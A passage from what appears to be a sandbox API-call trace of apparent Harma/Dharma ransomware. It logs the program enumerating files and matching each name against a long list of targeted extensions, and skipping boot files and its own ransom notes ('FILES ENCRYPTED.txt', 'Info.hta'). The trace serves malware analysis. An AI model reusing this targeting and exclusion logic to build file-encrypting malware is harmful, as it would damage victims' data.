(lpString1=".asr", lpString2=".css") returned -1 [0054.830] lstrlenW (lpString=".asx") returned 4 [0054.830] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1 [0054.830] lstrlenW (lpString=".avi") returned 4 [0054.830] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1 [0054.830] lstrlenW (lpString=".avs") returned 4 [0054.830] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1 [0054.830] lstrlenW (lpString=".backup") returned 7 [0054.830] lstrcmpiW (lpString1=".backup", lpString2="dar.css") returned -1 [0054.830] lstrlenW (lpString=".bak") returned 4 [0054.830] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1 [0054.830] lstrlenW (lpString=".bay") returned 4 [0054.830] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1 [0054.830] lstrlenW (lpString=".bd") returned 3 [0054.830] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1 [0054.830] lstrlenW (lpString=".bin") returned 4 [0054.830] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1 [0054.830] lstrlenW (lpString=".bmp") returned 4 [0054.830] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1 [0054.830] lstrlenW (lpString=".bz2") returned 4 [0054.830] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1 [0054.830] lstrlenW (lpString=".c") returned 2 [0054.830] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1 [0054.831] lstrlenW (lpString=".cdr") returned 4 [0054.831] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1 [0054.831] lstrlenW (lpString=".cer") returned 4 [0054.831] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1 [0054.831] lstrlenW (lpString=".cf") returned 3 [0054.831] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1 [0054.831] lstrlenW (lpString=".cfc") returned 4 [0054.831] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1 [0054.831] lstrlenW (lpString=".cfm") returned 4 [0054.831] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1 [0054.831] lstrlenW (lpString=".cfml") returned 5 [0054.831] lstrcmpiW (lpString1=".cfml", lpString2="r.css") returned -1 [0054.831] lstrlenW (lpString=".cfu") returned 4 [0054.831] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1 [0054.831] lstrlenW (lpString=".chm") returned 4 [0054.831] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1 [0054.831] lstrlenW (lpString=".cin") returned 4 [0054.831] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1 [0054.831] lstrlenW (lpString=".class") returned 6 [0054.831] lstrcmpiW (lpString1=".class", lpString2="ar.css") returned -1 [0054.831] lstrlenW (lpString=".clx") returned 4 [0054.831] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1 [0054.831] lstrlenW (lpString=".config") returned 7 [0054.831] lstrcmpiW (lpString1=".config", lpString2="dar.css") returned -1 [0054.831] lstrlenW (lpString=".cpp") returned 4 [0054.831] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1 [0054.831] lstrlenW (lpString=".cr2") returned 4 [0054.831] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1 [0054.831] lstrlenW (lpString=".crt") returned 4 [0054.831] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1 [0054.831] lstrlenW (lpString=".crw") returned 4 [0054.832] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1 [0054.832] lstrlenW (lpString=".cs") returned 3 [0054.832] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1 [0054.832] lstrlenW (lpString=".css") returned 4 [0054.832] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0 [0054.832] lstrlenW (lpString="calendar.css") returned 12 [0054.832] lstrlenW (lpString=".harma") returned 6 [0054.832] lstrcmpiW (lpString1=".harma", lpString2="ar.css") returned -1 [0054.832] lstrlenW (lpString="calendar.css") returned 12 [0054.832] lstrcmpiW (lpString1="boot.ini", lpString2="calendar.css") returned -1 [0054.832] lstrcmpiW (lpString1="bootfont.bin", lpString2="calendar.css") returned -1 [0054.832] lstrcmpiW (lpString1="ntldr", lpString2="calendar.css") returned 1 [0054.832] lstrcmpiW (lpString1="ntdetect.com", lpString2="calendar.css") returned 1 [0054.832] lstrcmpiW (lpString1="io.sys", lpString2="calendar.css") returned 1 [0054.832] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="calendar.css") returned 1 [0054.832] lstrcmpiW (lpString1="Info.hta", lpString2="calendar.css") returned 1 [0054.832] lstrcmpiW (lpString1="3G6885.exe", lpString2="calendar.css") returned -1 [0054.832] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 79 [0054.832] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 0 [0054.832] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0054.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13168 | out: hHeap=0x5a0000) returned 1 [0054.833] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0054.833] lstrlenW (lpString="gadget.xml") returned 10 [0054.833] lstrlenW (lpString=".1cd") returned 4 [0054.833] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.833] lstrlenW (lpString=".3ds") returned 4 [0054.833] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0054.833] lstrlenW (lpString=".3fr") returned 4 [0054.833] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0054.833] lstrlenW (lpString=".3g2") returned 4 [0054.833] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0054.833] lstrlenW (lpString=".3gp") returned 4 [0054.833] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0054.833] lstrlenW (lpString=".7z") returned 3 [0054.833] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.833] lstrlenW (lpString=".accda") returned 6 [0054.833] lstrcmpiW (lpString1=".accda", lpString2="et.xml") returned -1 [0054.833] lstrlenW (lpString=".accdb") returned 6 [0054.833] lstrcmpiW (lpString1=".accdb", lpString2="et.xml") returned -1 [0054.833] lstrlenW (lpString=".accdc") returned 6 [0054.833] lstrcmpiW (lpString1=".accdc", lpString2="et.xml") returned -1 [0054.833] lstrlenW (lpString=".accde") returned 6 [0054.833] lstrcmpiW (lpString1=".accde", lpString2="et.xml") returned -1 [0054.833] lstrlenW (lpString=".accdt") returned 6 [0054.833] lstrcmpiW (lpString1=".accdt", lpString2="et.xml") returned -1 [0054.833] lstrlenW (lpString=".accdw") returned 6 [0054.833] lstrcmpiW (lpString1=".accdw", lpString2="et.xml") returned -1 [0054.833] lstrlenW (lpString=".adb") returned 4 [0054.833] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".adp") returned 4 [0054.834] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".ai") returned 3 [0054.834] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0054.834] lstrlenW (lpString=".ai3") returned 4 [0054.834] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".ai4") returned 4 [0054.834] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".ai5") returned 4 [0054.834] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".ai6") returned 4 [0054.834] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".ai7") returned 4 [0054.834] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".ai8") returned 4 [0054.834] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".anim") returned 5 [0054.834] lstrcmpiW (lpString1=".anim", lpString2="t.xml") returned -1 [0054.834] lstrlenW (lpString=".arw") returned 4 [0054.834] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".as") returned 3 [0054.834] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0054.834] lstrlenW (lpString=".asa") returned 4 [0054.834] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".asc") returned 4 [0054.834] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".ascx") returned 5 [0054.834] lstrcmpiW (lpString1=".ascx", lpString2="t.xml") returned -1 [0054.834] lstrlenW (lpString=".asm") returned 4 [0054.834] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0054.834] lstrlenW (lpString=".asmx") returned 5 [0054.834] lstrcmpiW (lpString1=".asmx", lpString2="t.xml") returned -1 [0054.835] lstrlenW (lpString=".asp") returned 4 [0054.835] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0054.835] lstrlenW (lpString=".aspx") returned 5 [0054.835] lstrcmpiW (lpString1=".aspx", lpString2="t.xml") returned -1 [0054.835] lstrlenW (lpString=".asr") returned 4 [0054.835] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0054.835] lstrlenW (lpString=".asx") returned 4 [0054.835] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0054.835] lstrlenW (lpString=".avi") returned 4 [0054.835] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0054.835] lstrlenW (lpString=".avs") returned 4 [0054.835] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0054.835] lstrlenW (lpString=".backup") returned 7 [0054.835] lstrcmpiW (lpString1=".backup", lpString2="get.xml") returned -1 [0054.835] lstrlenW (lpString=".bak") returned 4 [0054.835] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0054.835] lstrlenW (lpString=".bay") returned 4 [0054.835] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0054.835] lstrlenW (lpString=".bd") returned 3 [0054.835] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0054.835] lstrlenW (lpString=".bin") returned 4 [0054.835] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0054.835] lstrlenW (lpString=".bmp") returned 4 [0054.835] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0054.835] lstrlenW (lpString=".bz2") returned 4 [0054.835] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.835] lstrlenW (lpString=".c") returned 2 [0054.835] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0054.835] lstrlenW (lpString=".cdr") returned 4 [0054.835] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0054.835] lstrlenW (lpString=".cer") returned 4 [0054.836] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0054.836] lstrlenW (lpString=".cf") returned 3 [0054.836] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0054.836] lstrlenW (lpString=".cfc") returned 4 [0054.836] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0054.836] lstrlenW (lpString=".cfm") returned 4 [0054.836] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0054.836] lstrlenW (lpString=".cfml") returned 5 [0054.836] lstrcmpiW (lpString1=".cfml", lpString2="t.xml") returned -1 [0054.836] lstrlenW (lpString=".cfu") returned 4 [0054.836] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0054.836] lstrlenW (lpString=".chm") returned 4 [0054.836] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0054.836] lstrlenW (lpString=".cin") returned 4 [0054.836] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0054.836] lstrlenW (lpString=".class") returned 6 [0054.836] lstrcmpiW (lpString1=".class", lpString2="et.xml") returned -1 [0054.836] lstrlenW (lpString=".clx") returned 4 [0054.836] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0054.836] lstrlenW (lpString=".config") returned 7 [0054.836] lstrcmpiW (lpString1=".config", lpString2="get.xml") returned -1 [0054.836] lstrlenW (lpString=".cpp") returned 4 [0054.836] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0054.836] lstrlenW (lpString=".cr2") returned 4 [0054.836] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0054.836] lstrlenW (lpString=".crt") returned 4 [0054.836] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0054.836] lstrlenW (lpString=".crw") returned 4 [0054.836] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0054.836] lstrlenW (lpString=".cs") returned 3 [0054.836] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0054.836] lstrlenW (lpString=".css") returned 4 [0054.837] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".csv") returned 4 [0054.837] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".cub") returned 4 [0054.837] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".dae") returned 4 [0054.837] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".dat") returned 4 [0054.837] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".db") returned 3 [0054.837] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0054.837] lstrlenW (lpString=".dbf") returned 4 [0054.837] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".dbx") returned 4 [0054.837] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".dc3") returned 4 [0054.837] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".dcm") returned 4 [0054.837] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".dcr") returned 4 [0054.837] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".der") returned 4 [0054.837] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".dib") returned 4 [0054.837] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".dic") returned 4 [0054.837] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".dif") returned 4 [0054.837] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0054.837] lstrlenW (lpString=".divx") returned 5 [0054.837] lstrcmpiW (lpString1=".divx", lpString2="t.xml") returned -1 [0054.838] lstrlenW (lpString=".djvu") returned 5 [0054.838] lstrcmpiW (lpString1=".djvu", lpString2="t.xml") returned -1 [0054.838] lstrlenW (lpString=".dng") returned 4 [0054.838] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0054.838] lstrlenW (lpString=".doc") returned 4 [0054.838] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.838] lstrlenW (lpString=".docm") returned 5 [0054.838] lstrcmpiW (lpString1=".docm", lpString2="t.xml") returned -1 [0054.838] lstrlenW (lpString=".docx") returned 5 [0054.838] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0054.838] lstrlenW (lpString=".dot") returned 4 [0054.838] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0054.838] lstrlenW (lpString=".dotm") returned 5 [0054.838] lstrcmpiW (lpString1=".dotm", lpString2="t.xml") returned -1 [0054.838] lstrlenW (lpString=".dotx") returned 5 [0054.838] lstrcmpiW (lpString1=".dotx", lpString2="t.xml") returned -1 [0054.838] lstrlenW (lpString=".dpx") returned 4 [0054.838] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0054.838] lstrlenW (lpString=".dqy") returned 4 [0054.838] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0054.838] lstrlenW (lpString=".dsn") returned 4 [0054.838] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0054.838] lstrlenW (lpString=".dt") returned 3 [0054.838] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0054.838] lstrlenW (lpString=".dtd") returned 4 [0054.838] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0054.838] lstrlenW (lpString=".dwg") returned 4 [0054.838] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0054.838] lstrlenW (lpString=".dwt") returned 4 [0054.838] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0054.838] lstrlenW (lpString=".dx") returned 3 [0054.838] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0054.839] lstrlenW (lpString=".dxf") returned 4 [0054.839] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0054.839] lstrlenW (lpString=".edml") returned 5 [0054.839] lstrcmpiW (lpString1=".edml", lpString2="t.xml") returned -1 [0054.839] lstrlenW (lpString=".efd") returned 4 [0054.839] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0054.839] lstrlenW (lpString=".elf") returned 4 [0054.839] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0054.839] lstrlenW (lpString=".emf") returned 4 [0054.839] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0054.839] lstrlenW (lpString=".emz") returned 4 [0054.839] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0054.839] lstrlenW (lpString=".epf") returned 4 [0054.839] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0054.839] lstrlenW (lpString=".eps") returned 4 [0054.839] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0054.839] lstrlenW (lpString=".epsf") returned 5 [0054.839] lstrcmpiW (lpString1=".epsf", lpString2="t.xml") returned -1 [0054.839] lstrlenW (lpString=".epsp") returned 5 [0054.839] lstrcmpiW (lpString1=".epsp", lpString2="t.xml") returned -1 [0054.839] lstrlenW (lpString=".erf") returned 4 [0054.839] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0054.839] lstrlenW (lpString=".exr") returned 4 [0054.839] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0054.839] lstrlenW (lpString=".f4v") returned 4 [0054.839] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0054.839] lstrlenW (lpString=".fido") returned 5 [0054.839] lstrcmpiW (lpString1=".fido", lpString2="t.xml") returned -1 [0054.839] lstrlenW (lpString=".flm") returned 4 [0054.839] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0054.839] lstrlenW (lpString=".flv") returned 4 [0054.839] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".frm") returned 4 [0054.840] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".fxg") returned 4 [0054.840] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".geo") returned 4 [0054.840] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".gif") returned 4 [0054.840] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".grs") returned 4 [0054.840] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".gz") returned 3 [0054.840] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0054.840] lstrlenW (lpString=".h") returned 2 [0054.840] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0054.840] lstrlenW (lpString=".hdr") returned 4 [0054.840] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".hpp") returned 4 [0054.840] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".hta") returned 4 [0054.840] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".htc") returned 4 [0054.840] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".htm") returned 4 [0054.840] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".html") returned 5 [0054.840] lstrcmpiW (lpString1=".html", lpString2="t.xml") returned -1 [0054.840] lstrlenW (lpString=".icb") returned 4 [0054.840] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".ics") returned 4 [0054.840] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0054.840] lstrlenW (lpString=".iff") returned 4 [0054.840] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".inc") returned 4 [0054.841] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".indd") returned 5 [0054.841] lstrcmpiW (lpString1=".indd", lpString2="t.xml") returned -1 [0054.841] lstrlenW (lpString=".ini") returned 4 [0054.841] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".iqy") returned 4 [0054.841] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".j2c") returned 4 [0054.841] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".j2k") returned 4 [0054.841] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".java") returned 5 [0054.841] lstrcmpiW (lpString1=".java", lpString2="t.xml") returned -1 [0054.841] lstrlenW (lpString=".jp2") returned 4 [0054.841] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".jpc") returned 4 [0054.841] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".jpe") returned 4 [0054.841] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".jpeg") returned 5 [0054.841] lstrcmpiW (lpString1=".jpeg", lpString2="t.xml") returned -1 [0054.841] lstrlenW (lpString=".jpf") returned 4 [0054.841] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".jpg") returned 4 [0054.841] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".jpx") returned 4 [0054.841] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0054.841] lstrlenW (lpString=".js") returned 3 [0054.841] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0054.841] lstrlenW (lpString=".jsf") returned 4 [0054.841] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".json") returned 5 [0054.842] lstrcmpiW (lpString1=".json", lpString2="t.xml") returned -1 [0054.842] lstrlenW (lpString=".jsp") returned 4 [0054.842] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".kdc") returned 4 [0054.842] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".kmz") returned 4 [0054.842] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".kwm") returned 4 [0054.842] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".lasso") returned 6 [0054.842] lstrcmpiW (lpString1=".lasso", lpString2="et.xml") returned -1 [0054.842] lstrlenW (lpString=".lbi") returned 4 [0054.842] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".lgf") returned 4 [0054.842] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".lgp") returned 4 [0054.842] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".log") returned 4 [0054.842] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".m1v") returned 4 [0054.842] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".m4a") returned 4 [0054.842] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".m4v") returned 4 [0054.842] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0054.842] lstrlenW (lpString=".max") returned 4 [0054.842] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".md") returned 3 [0054.843] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0054.843] lstrlenW (lpString=".mda") returned 4 [0054.843] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".mdb") returned 4 [0054.843] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".mde") returned 4 [0054.843] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".mdf") returned 4 [0054.843] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".mdw") returned 4 [0054.843] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".mef") returned 4 [0054.843] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".mft") returned 4 [0054.843] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".mfw") returned 4 [0054.843] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".mht") returned 4 [0054.843] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".mhtml") returned 6 [0054.843] lstrcmpiW (lpString1=".mhtml", lpString2="et.xml") returned -1 [0054.843] lstrlenW (lpString=".mka") returned 4 [0054.843] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0054.843] lstrlenW (lpString=".mkidx") returned 6 [0054.843] lstrcmpiW (lpString1=".mkidx", lpString2="et.xml") returned -1 [0054.844] lstrlenW (lpString=".mkv") returned 4 [0054.844] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".mos") returned 4 [0054.844] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".mov") returned 4 [0054.844] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".mp3") returned 4 [0054.844] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".mp4") returned 4 [0054.844] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".mpeg") returned 5 [0054.844] lstrcmpiW (lpString1=".mpeg", lpString2="t.xml") returned -1 [0054.844] lstrlenW (lpString=".mpg") returned 4 [0054.844] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".mpv") returned 4 [0054.844] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".mrw") returned 4 [0054.844] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".msg") returned 4 [0054.844] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".mxl") returned 4 [0054.844] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".myd") returned 4 [0054.844] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".myi") returned 4 [0054.844] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0054.844] lstrlenW (lpString=".nef") returned 4 [0054.845] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0054.845] lstrlenW (lpString=".nrw") returned 4 [0054.845] lstrcmpiW 